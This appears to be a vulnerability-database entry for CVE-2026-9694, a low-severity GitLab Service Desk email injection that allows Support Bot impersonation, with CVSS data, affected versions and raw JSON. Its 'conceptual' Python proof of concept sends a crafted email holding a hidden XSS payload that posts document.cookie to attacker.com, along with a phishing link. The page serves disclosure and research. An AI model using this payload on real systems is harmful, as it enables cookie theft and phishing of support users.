Security Vulnerability Report
中文
CVE-2026-9694 CVSS 2.6 LOW

CVE-2026-9694

Published: 2026-06-11 12:16:33
Last Modified: 2026-06-11 17:32:06
Source: [email protected]

Description

GitLab has remediated an issue in GitLab CE/EE affecting all versions from 15.9 before 18.10.8, 18.11 before 18.11.5, and 19.0 before 19.0.2 that under certain conditions, could have allowed an unauthenticated user to impersonate the GitLab Support Bot and inject arbitrary content via a specially crafted Service Desk email reply due to improper neutralization in email template processing.

CVSS Details

CVSS Score
2.6
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:* - VULNERABLE
GitLab CE/EE 15.9 <= version < 18.10.8
GitLab CE/EE 18.11 <= version < 18.11.5
GitLab CE/EE 19.0 <= version < 19.0.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-9694 PoC - Service Desk Email Injection # Note: This is a conceptual PoC demonstrating the injection technique import smtplib from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart def send_malicious_email(target_email, smtp_server, smtp_port): """ Send a crafted email to GitLab Service Desk that exploits the improper neutralization vulnerability in email template processing. """ # Construct the malicious email with injection payload msg = MIMEMultipart('alternative') msg['Subject'] = 'Re: Support Request' msg['From'] = '[email protected]' msg['To'] = target_email # Plain text version with injection text_body = """ Hello Support Team, Thank you for your assistance. --- Reply above this line --- [INJECTED CONTENT - Support Bot Impersonation] This message appears to be from GitLab Support Bot Click here: http://malicious-site.com """ # HTML version with potential XSS payload html_body = """ <html> <body> <p>Thank you for your help!</p> <hr/> <div style="display:none"> <!-- Injected content that bypasses template sanitization --> <script>alert('XSS via email injection');</script> <img src=x onerror="fetch('http://attacker.com/steal?cookie='+document.cookie)"> </div> <p><strong>From: GitLab Support Bot</strong></p> <p>Your issue has been resolved. Please click the link below:</p> <a href="http://malicious-site.com">Verify Solution</a> </body> </html> """ # Add both versions msg.attach(MIMEText(text_body, 'plain')) msg.attach(MIMEText(html_body, 'html')) # Send the email try: with smtplib.SMTP(smtp_server, smtp_port) as server: server.send_message(msg) print("[+] Malicious email sent successfully") except Exception as e: print(f"[-] Error sending email: {e}") # Example usage if __name__ == "__main__": target = "[email protected]" smtp = "mail.example.com" port = 587 send_malicious_email(target, smtp, port) print("[*] Check GitLab Service Desk for impersonation")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9694", "sourceIdentifier": "[email protected]", "published": "2026-06-11T12:16:33.110", "lastModified": "2026-06-11T17:32:06.163", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 15.9 before 18.10.8, 18.11 before 18.11.5, and 19.0 before 19.0.2 that under certain conditions, could have allowed an unauthenticated user to impersonate the GitLab Support Bot and inject arbitrary content via a specially crafted Service Desk email reply due to improper neutralization in email template processing."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:L/A:N", "baseScore": 2.6, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-153"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "15.9.0", "versionEndExcluding": "18.10.8", "matchCriteriaId": "1D0971DD-D736-4736-938C-0623B5A4B498"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "15.9.0", "versionEndExcluding": "18.10.8", "matchCriteriaId": "B12AF75C-B1B4-4FF4-A133-3E7D134DE8D5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.11.0", "versionEndExcluding": "18.11.5", "matchCriteriaId": "D3442E29-F164-40E0-B972-F0EEE8ED4FD1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.11.0", "versionEndExcluding": "18.11.5", "matchCriteriaId": "7FB0D7FE-9A4F-45D8-B564-31DF9F2F4066"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "19.0.0", "versionEndExcluding": "19.0.2", "matchCriteriaId": "A6FAB200-DFB3-42FC-A901-8E5C0A3CA706"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "19.0.0", "versionEndExcluding": "19.0.2", "matchCriteriaId": "1A666CA8-8D31-4765-87ED-D0F56E9DAFF0"}]}]}], "references": [{"url": "https://about.gitlab.com/releases/2026/06/10/patch-release-gitlab-19-0-2-released/", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/work_items/601330", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://hackerone.com/reports/3685720", "source": "[email protected]", "tags": ["Permissions Required"]}]}}
Disclaimer

This information is for security research and authorized penetration testing only. Unauthorized testing of other systems is illegal.